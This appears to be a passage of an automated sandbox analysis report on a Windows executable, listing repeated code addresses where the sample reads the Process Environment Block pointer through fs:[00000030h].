Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0182001C mov eax, dword ptr fs:[00000030h]	2_2_0182001C
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185F027 mov eax, dword ptr fs:[00000030h]	2_2_0185F027
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179B0D6 mov eax, dword ptr fs:[00000030h]	2_2_0179B0D6
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179B0D6 mov eax, dword ptr fs:[00000030h]	2_2_0179B0D6
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179B0D6 mov eax, dword ptr fs:[00000030h]	2_2_0179B0D6
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179B0D6 mov eax, dword ptr fs:[00000030h]	2_2_0179B0D6
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A70B2 mov eax, dword ptr fs:[00000030h]	2_2_017A70B2
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A60B4 mov eax, dword ptr fs:[00000030h]	2_2_017A60B4
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A60B4 mov eax, dword ptr fs:[00000030h]	2_2_017A60B4
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0187505D mov eax, dword ptr fs:[00000030h]	2_2_0187505D
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179C090 mov eax, dword ptr fs:[00000030h]	2_2_0179C090
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179A093 mov ecx, dword ptr fs:[00000030h]	2_2_0179A093
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A1091 mov eax, dword ptr fs:[00000030h]	2_2_017A1091
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A1091 mov eax, dword ptr fs:[00000030h]	2_2_017A1091
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185F387 mov eax, dword ptr fs:[00000030h]	2_2_0185F387
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C336D mov eax, dword ptr fs:[00000030h]	2_2_017C336D
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0181E3B2 mov eax, dword ptr fs:[00000030h]	2_2_0181E3B2
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0181E3B2 mov eax, dword ptr fs:[00000030h]	2_2_0181E3B2
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0181E3B2 mov eax, dword ptr fs:[00000030h]	2_2_0181E3B2
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0181E3B2 mov eax, dword ptr fs:[00000030h]	2_2_0181E3B2
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018203B1 mov eax, dword ptr fs:[00000030h]	2_2_018203B1
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018203B1 mov eax, dword ptr fs:[00000030h]	2_2_018203B1
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017F734A mov eax, dword ptr fs:[00000030h]	2_2_017F734A
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017F734A mov eax, dword ptr fs:[00000030h]	2_2_017F734A
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185D3B0 mov eax, dword ptr fs:[00000030h]	2_2_0185D3B0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BE340 mov eax, dword ptr fs:[00000030h]	2_2_017BE340
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BE340 mov eax, dword ptr fs:[00000030h]	2_2_017BE340
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BE340 mov eax, dword ptr fs:[00000030h]	2_2_017BE340
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01798347 mov eax, dword ptr fs:[00000030h]	2_2_01798347
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01798347 mov eax, dword ptr fs:[00000030h]	2_2_01798347
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01798347 mov eax, dword ptr fs:[00000030h]	2_2_01798347
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179E328 mov eax, dword ptr fs:[00000030h]	2_2_0179E328
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179E328 mov eax, dword ptr fs:[00000030h]	2_2_0179E328
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179E328 mov eax, dword ptr fs:[00000030h]	2_2_0179E328
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA320 mov eax, dword ptr fs:[00000030h]	2_2_017AA320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA320 mov eax, dword ptr fs:[00000030h]	2_2_017AA320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA320 mov eax, dword ptr fs:[00000030h]	2_2_017AA320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA320 mov eax, dword ptr fs:[00000030h]	2_2_017AA320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA320 mov eax, dword ptr fs:[00000030h]	2_2_017AA320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA320 mov eax, dword ptr fs:[00000030h]	2_2_017AA320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A8320 mov eax, dword ptr fs:[00000030h]	2_2_017A8320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A8320 mov eax, dword ptr fs:[00000030h]	2_2_017A8320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A8320 mov eax, dword ptr fs:[00000030h]	2_2_017A8320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A8320 mov eax, dword ptr fs:[00000030h]	2_2_017A8320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185F3EE mov eax, dword ptr fs:[00000030h]	2_2_0185F3EE
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018693EB mov eax, dword ptr fs:[00000030h]	2_2_018693EB
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0181C3F0 mov eax, dword ptr fs:[00000030h]	2_2_0181C3F0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C3305 mov eax, dword ptr fs:[00000030h]	2_2_017C3305
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01799303 mov eax, dword ptr fs:[00000030h]	2_2_01799303
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01799303 mov eax, dword ptr fs:[00000030h]	2_2_01799303
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0187B3FC mov eax, dword ptr fs:[00000030h]	2_2_0187B3FC
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0187B3FC mov eax, dword ptr fs:[00000030h]	2_2_0187B3FC
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0187B3FC mov eax, dword ptr fs:[00000030h]	2_2_0187B3FC
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0187B3FC mov eax, dword ptr fs:[00000030h]	2_2_0187B3FC
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A93E6 mov eax, dword ptr fs:[00000030h]	2_2_017A93E6
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A93E6 mov eax, dword ptr fs:[00000030h]	2_2_017A93E6
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0186832E mov eax, dword ptr fs:[00000030h]	2_2_0186832E
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0186832E mov eax, dword ptr fs:[00000030h]	2_2_0186832E
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CA3D0 mov eax, dword ptr fs:[00000030h]	2_2_017CA3D0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CA3D0 mov eax, dword ptr fs:[00000030h]	2_2_017CA3D0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CA3D0 mov eax, dword ptr fs:[00000030h]	2_2_017CA3D0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179E3C0 mov eax, dword ptr fs:[00000030h]	2_2_0179E3C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179E3C0 mov eax, dword ptr fs:[00000030h]	2_2_0179E3C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179E3C0 mov eax, dword ptr fs:[00000030h]	2_2_0179E3C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A13C0 mov eax, dword ptr fs:[00000030h]	2_2_017A13C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A13C0 mov eax, dword ptr fs:[00000030h]	2_2_017A13C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A13C0 mov eax, dword ptr fs:[00000030h]	2_2_017A13C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A13C0 mov eax, dword ptr fs:[00000030h]	2_2_017A13C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A13C0 mov eax, dword ptr fs:[00000030h]	2_2_017A13C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179C3C7 mov eax, dword ptr fs:[00000030h]	2_2_0179C3C7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BF3B0 mov eax, dword ptr fs:[00000030h]	2_2_017BF3B0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BF3B0 mov eax, dword ptr fs:[00000030h]	2_2_017BF3B0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BF3B0 mov eax, dword ptr fs:[00000030h]	2_2_017BF3B0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BF3B0 mov eax, dword ptr fs:[00000030h]	2_2_017BF3B0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BF3B0 mov eax, dword ptr fs:[00000030h]	2_2_017BF3B0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BF3B0 mov eax, dword ptr fs:[00000030h]	2_2_017BF3B0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C23AA mov eax, dword ptr fs:[00000030h]	2_2_017C23AA
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AB3A0 mov eax, dword ptr fs:[00000030h]	2_2_017AB3A0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AB3A0 mov eax, dword ptr fs:[00000030h]	2_2_017AB3A0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AB3A0 mov eax, dword ptr fs:[00000030h]	2_2_017AB3A0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AB3A0 mov eax, dword ptr fs:[00000030h]	2_2_017AB3A0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AB3A0 mov eax, dword ptr fs:[00000030h]	2_2_017AB3A0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AB3A0 mov eax, dword ptr fs:[00000030h]	2_2_017AB3A0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179B273 mov eax, dword ptr fs:[00000030h]	2_2_0179B273
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179B273 mov eax, dword ptr fs:[00000030h]	2_2_0179B273
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179B273 mov eax, dword ptr fs:[00000030h]	2_2_0179B273
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01875289 mov eax, dword ptr fs:[00000030h]	2_2_01875289
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01873297 mov eax, dword ptr fs:[00000030h]	2_2_01873297
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01873297 mov eax, dword ptr fs:[00000030h]	2_2_01873297
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01873297 mov eax, dword ptr fs:[00000030h]	2_2_01873297
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017D324E mov eax, dword ptr fs:[00000030h]	2_2_017D324E
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017D324E mov eax, dword ptr fs:[00000030h]	2_2_017D324E
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017D424B mov ecx, dword ptr fs:[00000030h]	2_2_017D424B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017D424B mov eax, dword ptr fs:[00000030h]	2_2_017D424B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017D424B mov eax, dword ptr fs:[00000030h]	2_2_017D424B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DE244 mov eax, dword ptr fs:[00000030h]	2_2_017DE244
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DE244 mov eax, dword ptr fs:[00000030h]	2_2_017DE244
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0181E2C9 mov eax, dword ptr fs:[00000030h]	2_2_0181E2C9
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B0231 mov eax, dword ptr fs:[00000030h]	2_2_017B0231
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B0231 mov eax, dword ptr fs:[00000030h]	2_2_017B0231
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B0231 mov eax, dword ptr fs:[00000030h]	2_2_017B0231
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E1230 mov eax, dword ptr fs:[00000030h]	2_2_017E1230
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E1230 mov eax, dword ptr fs:[00000030h]	2_2_017E1230
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA223 mov eax, dword ptr fs:[00000030h]	2_2_017AA223
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA223 mov eax, dword ptr fs:[00000030h]	2_2_017AA223
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA223 mov eax, dword ptr fs:[00000030h]	2_2_017AA223
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA223 mov eax, dword ptr fs:[00000030h]	2_2_017AA223
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017AA223 mov eax, dword ptr fs:[00000030h]	2_2_017AA223
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CB220 mov eax, dword ptr fs:[00000030h]	2_2_017CB220
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CB220 mov eax, dword ptr fs:[00000030h]	2_2_017CB220
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CB220 mov eax, dword ptr fs:[00000030h]	2_2_017CB220
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CB220 mov eax, dword ptr fs:[00000030h]	2_2_017CB220
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CB220 mov eax, dword ptr fs:[00000030h]	2_2_017CB220
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CB220 mov eax, dword ptr fs:[00000030h]	2_2_017CB220
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CB220 mov eax, dword ptr fs:[00000030h]	2_2_017CB220
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A9225 mov eax, dword ptr fs:[00000030h]	2_2_017A9225
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A9225 mov eax, dword ptr fs:[00000030h]	2_2_017A9225
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179821B mov eax, dword ptr fs:[00000030h]	2_2_0179821B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018752F6 mov eax, dword ptr fs:[00000030h]	2_2_018752F6
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179A200 mov eax, dword ptr fs:[00000030h]	2_2_0179A200
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B0200 mov eax, dword ptr fs:[00000030h]	2_2_017B0200
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B0200 mov eax, dword ptr fs:[00000030h]	2_2_017B0200
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C42EF mov eax, dword ptr fs:[00000030h]	2_2_017C42EF
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C42EF mov eax, dword ptr fs:[00000030h]	2_2_017C42EF
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179D2EC mov eax, dword ptr fs:[00000030h]	2_2_0179D2EC
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179D2EC mov eax, dword ptr fs:[00000030h]	2_2_0179D2EC
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017972E0 mov eax, dword ptr fs:[00000030h]	2_2_017972E0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF2DA mov eax, dword ptr fs:[00000030h]	2_2_017CF2DA
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A72D0 mov eax, dword ptr fs:[00000030h]	2_2_017A72D0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A72D0 mov eax, dword ptr fs:[00000030h]	2_2_017A72D0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A72D0 mov eax, dword ptr fs:[00000030h]	2_2_017A72D0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DA2CB mov eax, dword ptr fs:[00000030h]	2_2_017DA2CB
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DA2CB mov eax, dword ptr fs:[00000030h]	2_2_017DA2CB
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DA2CB mov eax, dword ptr fs:[00000030h]	2_2_017DA2CB
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179C2B0 mov ecx, dword ptr fs:[00000030h]	2_2_0179C2B0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017992AF mov eax, dword ptr fs:[00000030h]	2_2_017992AF
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01820267 mov eax, dword ptr fs:[00000030h]	2_2_01820267
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01820267 mov eax, dword ptr fs:[00000030h]	2_2_01820267
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01820267 mov eax, dword ptr fs:[00000030h]	2_2_01820267
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0182B264 mov eax, dword ptr fs:[00000030h]	2_2_0182B264
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0182B264 mov eax, dword ptr fs:[00000030h]	2_2_0182B264
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185F27E mov eax, dword ptr fs:[00000030h]	2_2_0185F27E
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF280 mov eax, dword ptr fs:[00000030h]	2_2_017CF280
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF280 mov eax, dword ptr fs:[00000030h]	2_2_017CF280
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A3576 mov eax, dword ptr fs:[00000030h]	2_2_017A3576
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A3576 mov eax, dword ptr fs:[00000030h]	2_2_017A3576
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF560 mov eax, dword ptr fs:[00000030h]	2_2_017CF560
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF560 mov eax, dword ptr fs:[00000030h]	2_2_017CF560
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF560 mov eax, dword ptr fs:[00000030h]	2_2_017CF560
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF560 mov eax, dword ptr fs:[00000030h]	2_2_017CF560
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF560 mov eax, dword ptr fs:[00000030h]	2_2_017CF560
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF560 mov eax, dword ptr fs:[00000030h]	2_2_017CF560
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF560 mov eax, dword ptr fs:[00000030h]	2_2_017CF560
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF560 mov eax, dword ptr fs:[00000030h]	2_2_017CF560
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CF560 mov eax, dword ptr fs:[00000030h]	2_2_017CF560
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B255B mov eax, dword ptr fs:[00000030h]	2_2_017B255B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B255B mov eax, dword ptr fs:[00000030h]	2_2_017B255B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B255B mov eax, dword ptr fs:[00000030h]	2_2_017B255B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B255B mov eax, dword ptr fs:[00000030h]	2_2_017B255B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B255B mov eax, dword ptr fs:[00000030h]	2_2_017B255B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B255B mov eax, dword ptr fs:[00000030h]	2_2_017B255B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B255B mov eax, dword ptr fs:[00000030h]	2_2_017B255B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DE55C mov eax, dword ptr fs:[00000030h]	2_2_017DE55C
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0186A5A4 mov eax, dword ptr fs:[00000030h]	2_2_0186A5A4
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C1544 mov eax, dword ptr fs:[00000030h]	2_2_017C1544
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C1544 mov eax, dword ptr fs:[00000030h]	2_2_017C1544
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C1544 mov eax, dword ptr fs:[00000030h]	2_2_017C1544
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C1544 mov eax, dword ptr fs:[00000030h]	2_2_017C1544
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C1544 mov eax, dword ptr fs:[00000030h]	2_2_017C1544
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C1544 mov eax, dword ptr fs:[00000030h]	2_2_017C1544
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A2540 mov eax, dword ptr fs:[00000030h]	2_2_017A2540
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185F5B8 mov eax, dword ptr fs:[00000030h]	2_2_0185F5B8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179753F mov eax, dword ptr fs:[00000030h]	2_2_0179753F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179753F mov eax, dword ptr fs:[00000030h]	2_2_0179753F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179753F mov eax, dword ptr fs:[00000030h]	2_2_0179753F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C953A mov eax, dword ptr fs:[00000030h]	2_2_017C953A
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0181E5C8 mov eax, dword ptr fs:[00000030h]	2_2_0181E5C8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0181E5C8 mov eax, dword ptr fs:[00000030h]	2_2_0181E5C8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A6530 mov eax, dword ptr fs:[00000030h]	2_2_017A6530
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DB530 mov eax, dword ptr fs:[00000030h]	2_2_017DB530
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DB530 mov eax, dword ptr fs:[00000030h]	2_2_017DB530
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018285EA mov eax, dword ptr fs:[00000030h]	2_2_018285EA
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C4511 mov eax, dword ptr fs:[00000030h]	2_2_017C4511
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C4511 mov eax, dword ptr fs:[00000030h]	2_2_017C4511
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179B502 mov eax, dword ptr fs:[00000030h]	2_2_0179B502
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A45F0 mov eax, dword ptr fs:[00000030h]	2_2_017A45F0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A45F0 mov eax, dword ptr fs:[00000030h]	2_2_017A45F0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E25D9 mov eax, dword ptr fs:[00000030h]	2_2_017E25D9
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017D65D0 mov eax, dword ptr fs:[00000030h]	2_2_017D65D0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F5C7 mov eax, dword ptr fs:[00000030h]	2_2_0179F5C7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F5C7 mov eax, dword ptr fs:[00000030h]	2_2_0179F5C7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F5C7 mov eax, dword ptr fs:[00000030h]	2_2_0179F5C7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F5C7 mov eax, dword ptr fs:[00000030h]	2_2_0179F5C7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F5C7 mov eax, dword ptr fs:[00000030h]	2_2_0179F5C7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F5C7 mov eax, dword ptr fs:[00000030h]	2_2_0179F5C7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F5C7 mov eax, dword ptr fs:[00000030h]	2_2_0179F5C7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F5C7 mov eax, dword ptr fs:[00000030h]	2_2_0179F5C7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F5C7 mov eax, dword ptr fs:[00000030h]	2_2_0179F5C7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185F549 mov eax, dword ptr fs:[00000030h]	2_2_0185F549
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DC5AD mov eax, dword ptr fs:[00000030h]	2_2_017DC5AD
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DC5AD mov eax, dword ptr fs:[00000030h]	2_2_017DC5AD
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BC590 mov eax, dword ptr fs:[00000030h]	2_2_017BC590
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CE597 mov eax, dword ptr fs:[00000030h]	2_2_017CE597
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CE597 mov eax, dword ptr fs:[00000030h]	2_2_017CE597
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CE597 mov eax, dword ptr fs:[00000030h]	2_2_017CE597
